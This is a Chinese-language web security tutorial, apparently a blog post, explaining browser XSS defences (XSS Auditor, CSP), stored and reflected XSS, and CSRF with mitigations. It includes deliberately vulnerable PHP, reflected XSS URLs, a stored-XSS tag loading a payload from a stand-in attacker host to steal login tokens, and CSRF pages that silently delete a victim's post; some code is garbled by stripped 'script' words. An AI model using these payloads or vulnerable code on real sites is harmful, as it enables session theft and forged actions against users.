隨著各瀏覽器安全功能的提高，前端防御面臨的問題也沒有之前那么復(fù)雜，但瀏覽器的防御措施并不能百分百的保證網(wǎng)站的安全。
瀏覽器的XSS Auditor，使得反射型xss幾乎被廢；CSP(Content-Security-Policy)、X-XSS-Protection可以禁止不可信源的腳本執(zhí)行！無疑，這對xss攻擊是一記重拳。但是道高一尺，魔高一丈，尤其是在安全界，永遠(yuǎn)應(yīng)該記住的一句箴言就是“只有相對的安全，沒有絕對的安全”。
本文重點(diǎn)介紹現(xiàn)代瀏覽器的安全特性以及瀏覽器依然不能防御的攻擊手段。
01- XSS
XSS攻擊：跨站腳本攻擊(Cross Site ing)，為不和 CSS混淆，故將跨站腳本攻擊縮寫為XSS。
為什么叫跨站腳本？簡單來說，就是在一個(gè)網(wǎng)站上運(yùn)行了該網(wǎng)站之外的js腳本(當(dāng)然，開發(fā)者自已引用的可信源的js不算，比如使用了cdn的 jQuery )。
02- 一個(gè)經(jīng)典的例子
假設(shè)有一個(gè)搜索頁面，關(guān)鍵字以Get方法傳遞。假設(shè)，搜索頁面在輸出結(jié)果時(shí)會(huì)無過濾的將用戶的關(guān)鍵字回顯到網(wǎng)頁上，大致邏輯如下：
//xss.php <?php if(isset($_REQUEST[ "wd"])) $wd=$_REQUEST[ "wd"]; if($wd){ echo "<p>關(guān)鍵字'$wd'搜索的結(jié)果如下：</p>"} ...?>
然后搜索請求的鏈接是:
http://localhost/test/haker/xss.php?wd= <>alert("xss")</>
或者為了隱蔽編一下碼：
http://localhost/test/haker/xss.php?wd=ddd %3C %3Ealert( %22%22) %3C/ %3E
在es6下，你甚者可以用unicode碼點(diǎn)。
如果是在幾年前，你的瀏覽器大致都會(huì)彈出這樣一個(gè)窗口：
然而，現(xiàn)在不行了，在chrome和safari下，如果發(fā)現(xiàn)響應(yīng)中包含請求參數(shù)中相同的代碼字符串，它們就會(huì)拒絕執(zhí)行這些代碼，你會(huì)收到如下的錯(cuò)誤提示：
The XSS Auditor refused to execute a in 'http://localhost/test/haker/xss.php?wd=ddd%3C%3Ealert(%22xss%22)%3C/%3E' because its source code was found within the request. The auditor was enabled as the server sent neither an 'X-XSS-Protection' nor 'Content-Security-Policy' header.
03- XSS Auditor
xss auditor是Chrome 和 Safari中內(nèi)建的一個(gè)防御xss攻擊的功能模塊，相當(dāng)于一個(gè)審計(jì)器，有預(yù)設(shè)規(guī)則，主要功能就是針對上述這種情況。此功能默認(rèn)是開啟的，當(dāng)然也可以關(guān)閉，需要在response header中顯式指定：
//關(guān)閉 xss auditorX -XSS-Protection: 0
當(dāng)然，更強(qiáng)大的是，觸發(fā)后還可以將詳情上報(bào)，便于分析跟蹤：
X -XSS-Protection: 1; report =http: //example.com/your_report_URI
也可以使用block模式：一旦觸發(fā)，當(dāng)前頁面就會(huì)終止，并同時(shí)展示一個(gè)空白頁面給用戶：
X-XSS-Protection: 1; mode=block
如果將請求換成post，xss auditor還會(huì)被觸發(fā)嗎？答案是：可以！
XSS Auditor的缺點(diǎn)
我們將后臺(tái)邏輯改一下，給每個(gè)”>”后加一個(gè)分號(hào)。
<?phpif(isset($_REQUEST["wd"])) $wd=str_replace(">",">;",$_REQUEST["wd"]); if($wd){ echo"<p>關(guān)鍵字'$wd'搜索的結(jié)果如下：</p>"} ?>
然后依然是之前的鏈接，刷新：
成功了，當(dāng)然本例只是一個(gè)說明，通常情況下，我們都會(huì)對用戶提交的數(shù)據(jù)進(jìn)行一些處理，如果這些處理導(dǎo)致和提交的內(nèi)容不一樣了，但是仍然可以執(zhí)行，比如像本例一樣。那么xss auditor 就無能為力了。不過xss auditor本身的智能度也挺高，像字符編碼，大小寫變化這種變化依然躲不過xss auditor。
04- 存儲(chǔ)型xss
比如網(wǎng)站有個(gè)留言板功能，但后臺(tái)未對用戶輸入進(jìn)行過濾，攻擊者可以在留言編輯框中輸入：
<src="http://www.hacker.org/xss.payload.js"></>
然后再隨便輸入點(diǎn)其它文字，提交留言，提交成功后，內(nèi)容將會(huì)被保存到服務(wù)器數(shù)據(jù)庫，只要再訪問留言列表，這個(gè)就會(huì)被插入到網(wǎng)頁中，xss.payload.js中的代碼就可以執(zhí)行，如果訪問的用戶都是已登錄用戶，xss.payload.js可以獲取老瀏覽用戶的信息，如的登錄token、用戶的個(gè)人資料等，payload甚至可以拉一個(gè)全家桶下來。以前的防御手段主要是對用戶輸入進(jìn)行過濾如：去除html標(biāo)簽，實(shí)體化，關(guān)鍵字過濾等等，這樣一來，最終的結(jié)果就是后臺(tái)的大多數(shù)代碼都是在做字符串驗(yàn)證，非常的讓人不舒服。所以W3 org引入了CSP:
05- Content-Security-Policy
Content-Security-Policy 是W3 org草案，主要是用來定義頁面可以加載哪些資源，減少 XSS 的發(fā)生，chrome已經(jīng)支持，詳情可以參考 Chrome CSP 官方文檔。這樣一來，從源頭上杜絕了不可信源的xss payload加載的可能型。比如下面的配置只允許加載本域下的腳本：
Content -Security-Policy: default -src'self'
這樣即使頁面被注入了外部腳本，瀏覽器也會(huì)拒絕執(zhí)行，你會(huì)收到如下的錯(cuò)誤提示：
Refused to load the 'http://www.hacker.org/xss.payload.js' because it violates the following Content Security Policy directive: "default-src 'self'". Note that '-src' was not explicitly set, so 'default-src' is used as a fallback.
當(dāng)然，CSP能指定的規(guī)則是很多的，甚至也可以禁止內(nèi)聯(lián)腳本執(zhí)行，詳情請移步 W3 CSP。 瀏覽器的支持情況請移步 Can I use Content Security Policy。
06- CSRF
復(fù)制一段百度的介紹：CSRF（Cross-site request forgery跨站請求偽造，也被稱為“One Click Attack”或者Session Riding，通?？s寫為CSRF或者XSRF，是一種對網(wǎng)站的惡意利用。盡管聽起來像跨站腳本（XSS）,但它與XSS非常不同，并且攻擊方式幾乎相左。XSS利用站點(diǎn)內(nèi)的信任用戶，而CSRF則通過偽裝來自受信任用戶的請求來利用受信任的網(wǎng)站。與XSS攻擊相比，CSRF攻擊往往不大流行（因此對其進(jìn)行防范的資源也相當(dāng)稀少）和難以防范，所以被認(rèn)為比XSS更具危險(xiǎn)性。
CSRF攻擊流程
用戶登錄受信任網(wǎng)站A。
在不退出 A的情況下，訪問危險(xiǎn)網(wǎng)站B（攻擊者網(wǎng)站或攻擊者掛馬的網(wǎng)站）。
舉個(gè)例子，假設(shè)A網(wǎng)站是個(gè)博客網(wǎng)站，用戶登錄之后可以刪除自己的博客，刪除的鏈接如下：
http://www. a.com/resource/ delete/{blogid}
先看看后臺(tái)登錄邏輯：用戶登錄成功后，創(chuàng)建session，然后將session id通過cookie傳給瀏覽器，這樣便可以跟蹤用戶登錄狀態(tài)，以后所有的操作都是登錄態(tài)的操作。刪除博客時(shí)后臺(tái)的邏輯是這樣的：刪除之前，先檢驗(yàn)用戶身份，如果身份校驗(yàn)通過則刪除，如果未登錄，則重定向到登錄頁面。
假設(shè)攻擊者在這篇博客下面評(píng)論如下：
“hi 你好，讀了你的博客很受益，我有一個(gè)問題，請大牛解惑，鏈接是b，多謝?！”
看了這條評(píng)論后，你內(nèi)心很滿足，于是決定指導(dǎo)一下這位粉絲，你點(diǎn)了鏈接，回答了問題，自信滿滿地返回到自己的博客，然后突然發(fā)現(xiàn) “博客找不到了”！ 怪哉，why？ 中招了！
問題就在你剛才訪問過的網(wǎng)頁。假設(shè)你的博客id=8, b網(wǎng)頁內(nèi)容大致如下：
<html> ...<img src= 'http://www.a.com/resource/delete/8'/> ...<html>
網(wǎng)頁中img src正是刪除你的博客鏈接，或許你會(huì)說，后臺(tái)不是有身份認(rèn)證么？是的，后臺(tái)的確有身份認(rèn)證，但此時(shí)訪問b，你并沒有退出登錄，而此時(shí)b中瀏覽器又發(fā)起了http://www.a.com/resource/delete/8 請求（同時(shí)會(huì)發(fā)送該域下的cookie），這樣一來，后臺(tái)用戶認(rèn)證會(huì)通過，所以刪除會(huì)成功。ps:是不是以后可以用這招去刪帖了。。。
如果是post請求呢？
<html> ...<form method= "post"action= "http://www.a.com/resource/delete/"> <input type= "hidden"name=id value= 8> </form> <> $( "form").submit() </> ...<html>
在b頁面中，制造一個(gè)表單，然后直接觸發(fā)提交，依然可以！
07-
CSRF攻擊防御
隨機(jī)值法
后臺(tái)對每一次請求都生成一個(gè)隨機(jī)值，保存在session中，然后再將該值發(fā)送給頁面，可以在cookie中，也可以在一個(gè)隱藏的表單中（大多數(shù)后臺(tái)框架都是這么做的，如php的symfony、laraval）,甚至也可以是在驗(yàn)證碼中。下面以表單為例來說明：
<?php$hash= random(100000); ?><formmethod="post"action="delete/"><inputtype="id"name="8"><inputtype="hidden"name="hash"value="<?php $hash; ?>"><inputtype="submit"value="Submit"></form>
然后提交時(shí)，服務(wù)端再對比hash值是不是和session中一樣。 攻擊者網(wǎng)站時(shí)無法預(yù)估這個(gè)hash的。但是請注意，在上面所述的攻擊場景中，把hash存在cookie中時(shí)不行的。
檢測refer
后臺(tái)在進(jìn)行刪除操作之前先判斷refer，如果不是本域的請求，則直接拒絕，這種做法很有效。但是，想想這樣一個(gè)場景：如果博客允許評(píng)論里面插圖，攻擊者完全可以將 img插入到原網(wǎng)站中，這樣refer還是在當(dāng)下域名，博客依然會(huì)被刪除。所有可能引入鏈接的html標(biāo)簽都是不可信的，如、link，后臺(tái)過濾策略一定要考慮到。
07- 總結(jié)
其實(shí)可以看到，上面的攻擊雖說現(xiàn)場是在前端，但是本質(zhì)還是服務(wù)端驗(yàn)證不足、過濾不全導(dǎo)致。對于前端來說，防御所做的事有限，但是站在攻擊者角度來講，又必需精通前端。今天只是web滲透的皮毛，如果大家有興趣，可以在評(píng)論中留言，以后也可以多分享一些服務(wù)器滲透、操作系統(tǒng)安全方面的，當(dāng)然根據(jù)期待度以及我的時(shí)間而定
